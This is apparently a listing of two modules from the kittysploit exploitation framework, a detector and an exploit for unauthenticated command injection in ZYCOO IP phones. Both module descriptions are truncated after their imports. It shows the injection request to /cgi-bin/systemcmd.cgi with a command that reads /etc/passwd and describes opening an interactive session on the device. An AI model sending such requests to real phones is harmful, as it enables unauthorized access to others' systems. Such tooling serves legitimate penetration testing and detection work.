ZYCOO IP Phone - system_cmd.cgi RCE Detection

Detects ZYCOO unauthenticated command injection via /cgi-bin/systemcmd.cgi?cmd='cat /etc/passwd'. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import...

ZYCOO IP Phone - system_cmd.cgi RCE

Exploits ZYCOO /cgi-bin/systemcmd.cgi?cmd= command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...